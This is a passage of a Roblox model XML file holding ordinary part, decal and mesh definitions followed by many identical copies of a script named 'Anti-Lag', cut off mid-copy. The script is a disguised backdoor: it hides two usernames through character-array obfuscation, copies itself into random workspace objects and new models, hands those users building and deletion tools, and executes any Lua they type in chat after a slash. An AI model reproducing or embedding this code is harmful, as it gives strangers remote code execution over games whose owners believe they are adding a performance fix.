							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-2.35526932e-006</X>
								<Y>-1.4054865e-007</Y>
								<Z>4.8936754e-006</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0.000194121327</X>
								<Y>5.24969546e-005</Y>
								<Z>0.000208895784</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>4</X>
								<Y>12</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="Decal" referent="RBX1743">
							<Properties>
								<bool name="Archivable">true</bool>
								<token name="Face">3</token>
								<string name="Name">Decal</string>
								<float name="Shiny">20</float>
								<float name="Specular">0</float>
								<Content name="Texture"><url>http://www.roblox.com/asset/?id=32993999</url></Content>
								<float name="Transparency">0</float>
							</Properties>
						</Item>
						<Item class="Fire" referent="RBX1744">
							<Properties>
								<bool name="Archivable">true</bool>
								<Color3 name="Color">4294964224</Color3>
								<bool name="Enabled">false</bool>
								<string name="Name">Fire</string>
								<Color3 name="SecondaryColor">4294901760</Color3>
								<float name="heat_xml">25</float>
								<float name="size_xml">30</float>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX1745">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">21</int>
							<CoordinateFrame name="CFrame">
								<X>-1600</X>
								<Y>9.80000019</Y>
								<Z>29.5</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>-1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>1</R20>
								<R21>0</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Smooth Block Model</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-2.35526932e-006</X>
								<Y>-1.4054865e-007</Y>
								<Z>4.8936754e-006</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0.000198731359</X>
								<Y>9.97066672e-005</Y>
								<Z>0.000212470419</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>3.60000014</Y>
								<Z>10</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX1746">
							<Properties>
								<bool name="Archivable">true</bool>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX1747">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">21</int>
							<CoordinateFrame name="CFrame">
								<X>-1600</X>
								<Y>9.80000019</Y>
								<Z>18.5</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>-1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>1</R20>
								<R21>0</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Smooth Block Model</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-2.35526932e-006</X>
								<Y>-1.4054865e-007</Y>
								<Z>4.8936754e-006</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0.000200277398</X>
								<Y>7.37986993e-005</Y>
								<Z>0.000212470419</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>3.60000014</Y>
								<Z>10</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX1748">
							<Properties>
								<bool name="Archivable">true</bool>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
					<Item class="Script" referent="RBX1749">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX1750">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX1751">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX1752">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX1753">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX1754">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX1755">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX1756">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
